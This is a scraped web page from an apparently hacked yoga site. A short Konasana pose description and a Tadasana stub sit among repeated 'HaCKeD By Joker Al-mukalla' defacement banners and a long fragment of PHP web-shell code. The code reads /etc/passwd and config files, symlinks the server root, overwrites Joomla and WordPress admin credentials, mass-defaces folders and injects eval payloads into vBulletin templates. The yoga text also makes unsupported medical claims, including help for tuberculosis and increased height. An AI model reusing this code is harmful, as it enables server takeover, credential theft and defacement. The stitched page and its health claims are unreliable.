31-12-2014 Konasan

‘Kona’ means angle. Since this asana looks like an angle, it is called ‘konasana’.

Procedure: Stand as shown in the figure. Keeping a shoulder’s distance between the feet spread the arms parallel to the ground and at the shoulder level. Let the palm of your hands face downward. Slowly raise the right hand and keep it straight and adjacent to the ear. Then, slowly bending the waist to the left, try to reach the left ankle using the left hand. Take care that the knees don’t bend, and the ankles remain on ground. Repeat in the other direction.

Repetitions: 5 times in each direction.

Benefits and Effects: In this asana, the waist, ribs, and neck are stretched, which strengthens the ribs. Blood circulation improves. The chest and lungs expand. It helps in diseases like cough, asthma, tuberculosis etcetera. Since the spine is stretched in both the directions, the waist and spine become flexible, and the asana also reduces
the fat accumulated around the waist.

After recovery from an infection, it ensures regular and equal blood supply to all the organs.

It is also good for increasing height, because it involves a great amount of stretching.

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HaCKeD By Joker Al-mukalla

<h1 style="color: #ff0000;"><span style="font-size: xx-large;">HaCKeD By Joker Al-mukalla</span></h1> <p><span style="font-size: xx-large;"><span style="font-size: xx-small;">HaCKeD By Joker Al-mukalla</span><br /></span></p> <p><span style="font-size: x-small;">HaCKeD By Joker Al-mukalla</span></p> <p><span style="font-size: small;">HaCKeD By Joker Al-mukalla</span></p> <p><span style="font-size: medium;">HaCKeD By Joker Al-mukalla</span></p> <p><span style="font-size: large;">HaCKeD By Joker Al-mukalla</span></p> <p><span style="font-size: x-large;">HaCKeD By Joker Al-mukalla</span></p> <p><span style="font-size: xx-large;">HaCKeD By Joker Al-mukalla</span></p>

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HaCKeD By Joker Al-mukalla

<h1 style="color: #ff0000;">HaCKeD By Joker Al-mukalla</h1> <h1>HaCKeD By Joker Al-mukalla</h1>

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Tadasana

<p>Know about this aasana in detail.</p>

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'.date('Y').'

';} elseif(isset($_GET['x']) && ($_GET['x'] == 'sf')) {@set_time_limit(0);@mkdir('sym',0777);error_reporting(0);$htaccess = "Options all DirectoryIndex gaza.html AddType text/plain .php AddHandler server-parsed .php AddType text/plain .html AddHandler txt .html Require None Satisfy Any";$op =@fopen ('sym/.htaccess','w');fwrite($op ,$htaccess);echo '



Symlinker


File Path:

Symlink Name




';$target = $_POST['file'];$symfile = $_POST['symfile'];$symlink = $_POST['symlink'];if ($symlink) {@symlink("$target","sym/$symfile");echo '

'.$symfile.'



';}} elseif(isset($_GET['x']) && ($_GET['x'] == 'js')) {if ($_POST['symjo']) {$config = file_get_contents($_POST['url']);$user = $_POST['user'];$pass = md5($_POST['pass']);function ex($text,$a,$b){$explode = explode($a,$text);$explode = explode($b,$explode[1]);return $explode[0];}if($config && ereg('JConfig',$config)){$psswd = ex($config,'$password = '',"';");$username = ex($config,'$user = '',"';");$dbname = ex($config,'$db = '',"';");$prefix = ex($config,'$dbprefix = '',"';");$host = ex($config,'$host = '',"';");$email = ex($config,'$mailfrom = '',"';");$formn = ex($config,'$fromname = '',"';");$conn = mysql_connect($host,$username,$psswd) or die(mysql_error());mysql_select_db($dbname,$conn) or die($username.' '.$psswd.' '.$host.' '.$dbname);$query = @mysql_query("UPDATE `".$prefix."users` SET `username` ='".$user."' , `password` = '".$pass."', `usertype` = 'Super Administrator', `block` = 0");if ($query) {echo '

Done !

 

site nameuserpasswordemail
'.$formn.' '.$user.' '.$_POST["pass"].' '.$email.'

';}else {echo '

ERROR !

';}}else die('

Not a joomla config

');}else { ?>



Joomla login changer ( symlink version )
config link :
new user :
new password :
 
S. No.DomainsUsersSymlinkInformation";$dcount = 1;foreach($d0mains as $d0main){if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);flush();if(strlen(trim($domains[1][0])) > 2){$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));echo "" . $dcount . "

".$domains[1][0]."".$user['name']."Symlinkinfo"; flush();$dcount++;}}}echo "";}else{$TEST=@file('/etc/passwd');if ($TEST){@mkdir("k2",0777);@chdir("k2");exe("ln -s / root");$file3 = 'Options all DirectoryIndex Sux.html AddType text/plain .php AddHandler server-parsed .php AddType text/plain .html AddHandler txt .html Require None Satisfy Any';$fp3 = fopen('.htaccess','w');$fw3 = fwrite($fp3,$file3);@fclose($fp3);echo "

";$dcount = 1;$file = fopen("/etc/passwd", "r") or exit("Unable to open file!");while(!feof($file)){$s = fgets($file);$matches = array();$t = preg_match('//(.*?)://s', $s, $matches);$matches = str_replace("home/","",$matches[1]);if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")continue;echo "";echo "";$dcount++;}fclose($file);echo "
S. No. Users Symlink
" . $dcount . " " . $matches . " Symlink

";}else{if($os != "Windows"){@mkdir("k2",0777);@chdir("k2");@exe("ln -s / root");$file3 = 'Options all DirectoryIndex Sux.html AddType text/plain .php AddHandler server-parsed .php AddType text/plain .html AddHandler txt .html Require None Satisfy Any';$fp3 = fopen('.htaccess','w');$fw3 = fwrite($fp3,$file3);@fclose($fp3);echo "

server symlinker

";$temp = "";$val1 = 0;$val2 = 1000;for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);if ($uid)$temp .= join(':',$uid)." ";}echo '';$temp = trim($temp);$file5 = fopen("test.txt","w");fputs($file5,$temp);fclose($file5);$dcount = 1;$file = fopen("test.txt", "r") or exit("Unable to open file!");while(!feof($file)){$s = fgets($file);$matches = array();$t = preg_match('//(.*?)://s', $s, $matches);$matches = str_replace("home/","",$matches[1]);if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")continue;echo "";echo "";$dcount++;}fclose($file);echo "
id Users Symlink
" . $dcount . " " . $matches . " Symlink

";unlink("test.txt");} else echo "

Cannot create Symlink

";}}} elseif(isset($_GET['x']) && ($_GET['x'] == 'mass')){error_reporting(0);?>



Folder Mass Defacer


Folder :

File Name :

index URL :

";$dir=opendir("$mainpath");while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$code=@file_get_contents($indexurl);$finish=@fwrite($start,$code);if ($finish){echo "» $row/$file » Done

";}}} elseif(isset($_GET['x']) && ($_GET['x'] == 'vb')) {if(empty($_POST['index'])){echo "



Vbulletin index changer


host :  | database :  | username :  | password :  | perfix :


";}else{$localhost = $_POST['localhost'];$database = $_POST['database'];$username = $_POST['username'];$password = $_POST['password'];$perfix = $_POST['perfix'];$index = $_POST['index'];@mysql_connect($localhost,$username,$password) or die(mysql_error());@mysql_select_db($database) or die(mysql_error());$index=str_replace("'","'",$index);$set_index = "{${eval(base64_decode('";$set_index .= base64_encode("echo '$index';");$set_index .= "'))}}{${exit()}}";$ok=@mysql_query("UPDATE ".$perfix."template SET template ='".$set_index."' WHERE title ='FORUMHOME'") or die(mysql_error());if($ok){echo "Defaced

";}}} elseif(isset($_GET['x']) && ($_GET['x'] == 'boom')){error_reporting(0);function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){$ar0=explode($marqueurDebutLien, $text);$ar1=explode($marqueurFinLien, $ar0[$i]);return trim($ar1[0]);}function randomt() {$chars = "abcdefghijkmnopqrstuvwxyz023456789";srand((double)microtime()*1000000);$i = 0;$pass = '';while ($i <= 7) {$num = rand() % 33;$tmp = substr($chars, $num, 1);$pass = $pass . $tmp;$i++;}return $pass;}function index_changer_wp($conf, $content) {$output = '';$dol = '$';$go = 0;$username = entre2v2($conf,"define('DB_USER', '","');");$password = entre2v2($conf,"define('DB_PASSWORD', '","');");$dbname = entre2v2($conf,"define('DB_NAME', '","');");$prefix = entre2v2($conf,$dol."table_prefix = '","'");$host = entre2v2($conf,"define('DB_HOST', '","');");$link=mysql_connect($host,$username,$password);if($link) {mysql_select_db($dbname,$link) ;$dol = '$';$req1 = mysql_query("UPDATE `".$prefix."users` SET `user_login` = 'admin',`user_pass` = '4297f44b13955235245b2497399d7a93' WHERE `ID` = 1");} else {$output.= "[-] DB Error

";}if($req1) {$req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='home'");$data = mysql_fetch_array($req);$site_url=$data["option_value"]; $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='template'");$data = mysql_fetch_array($req);$template = $data["option_value"];$req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='current_theme'");$data = mysql_fetch_array($req);$current_theme = $data["option_value"];$useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";$url2=$site_url."/wp-login.php";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"log=admin&pwd=123123&rememberme=forever&wp-submit=Log In&testcookie=1");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer = curl_exec($ch);$pos = strpos($buffer,"action=logout");if($pos === false) {$output.= "[-] Login Error
";} else {$output.= "[+] Login Successful
";$go = 1;}if($go) {$cond = 0;$url2=$site_url."/wp-admin/theme-editor.php?file=/themes/".$template.'/index.php&theme='.urlencode($current_theme).'&dir=theme';curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer0 = curl_exec($ch);$_wpnonce = entre2v2($buffer0,'');$_file = entre2v2($buffer0,'');if(substr_count($_file,"/index.php") != 0){$output.= "[+] index.php loaded in Theme Editor
";$url2=$site_url."/wp-admin/theme-editor.php";curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".base64_decode($content)."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'

');if($pos === false) {$output.= "[-] Updating Index.php Error
";} else {$output.= "[+] Index.php Updated Successfuly
";$hk = explode('public_html',$_file);$output.= '[+] Deface '.file_get_contents($site_url.str_replace('/blog','',$hk[1]));$cond = 1;}} else {$url2=$site_url.'/wp-admin/theme-editor.php?file=index.php&theme='.$template;curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer0 = curl_exec($ch);$_wpnonce = entre2v2($buffer0,'');$_file = entre2v2($buffer0,'');if(substr_count($_file,"index.php") != 0){$output.= "[+] index.php loaded in Theme Editor
";$url2=$site_url."/wp-admin/theme-editor.php";curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".base64_decode($content)."&action=update&file=".$_file."&theme=".$template."&_wpnonce=".$_wpnonce."&submit=Update File");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'
');if($pos === false) {$output.= "[-] Updating Index.php Error
";} else {$output.= "[+] Index.php Template Updated Successfuly
";$output.= '[+] Deface '.file_get_contents($site_url.'/wp-content/themes/'.$template.'/index.php');$cond = 1;}} else {$output.= "[-] index.php can not load in Theme Editor
";}}}} else {$output.= "[-] DB Error
";}global $base_path;unlink($base_path.'COOKIE.txt');return array('cond'=>$cond, 'output'=>$output);}function index_changer_joomla($conf, $content, $domain) {$doler = '$';$username = entre2v2($conf, $doler."user = '", "';");$password = entre2v2($conf, $doler."password = '", "';");$dbname = entre2v2($conf, $doler."db = '", "';");$prefix = entre2v2($conf, $doler."dbprefix = '", "';");$host = entre2v2($conf, $doler."host = '","';");$co=randomt();$site_url = "http://".$domain."/administrator";$output = '';$cond = 0; $link=mysql_connect($host, $username, $password);if($link) {mysql_select_db($dbname,$link) ;$req1 = mysql_query("UPDATE `".$prefix."users` SET `username` ='admin' , `password` = '4297f44b13955235245b2497399d7a93', `usertype` = 'Super Administrator', `block` = 0");$req = mysql_numrows(mysql_query("SHOW TABLES LIKE '".$prefix."extensions'"));} else {$output.= "[-] DB Error
";}if($req1){if ($req) {$req = mysql_query("SELECT * from `".$prefix."template_styles` WHERE `client_id` = '0' and `home` = '1'");$data = mysql_fetch_array($req);$template_name = $data["template"];$req = mysql_query("SELECT * from `".$prefix."extensions` WHERE `name`='".$template_name."' or `element` = '".$template_name."'");$data = mysql_fetch_array($req);$template_id = $data["extension_id"];$url2=$site_url."/index.php";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$return = entre2v2($buffer ,'";} else {$output.= "[+] Login Successful
";}}if($pos){$url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$hidden2=entre2v2($buffer ,'";} else {$output.= "[-] index.php Not found in Theme Editor
";}}if($hidden2) {$url2=$site_url."/index.php?option=com_templates&layout=edit";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$content."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'');$cond = 0;if($pos === false) {$output.= "[-] Updating Index.php Error
";} else {$output.= "[+] Index.php Template successfully saved
";$cond = 1;}}} else {$req =mysql_query("SELECT * from `".$prefix."templates_menu` WHERE client_id='0'");$data = mysql_fetch_array($req);$template_name=$data["template"];$useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";$url2=$site_url."/index.php";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$hidden=entre2v2($buffer ,'";} else {$output.= "[+] Login Successful
";}}if($pos) {$url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$hidden2=entre2v2($buffer ,'";} else {$output.= "[-] index.php Not found in Theme Editor
 
 
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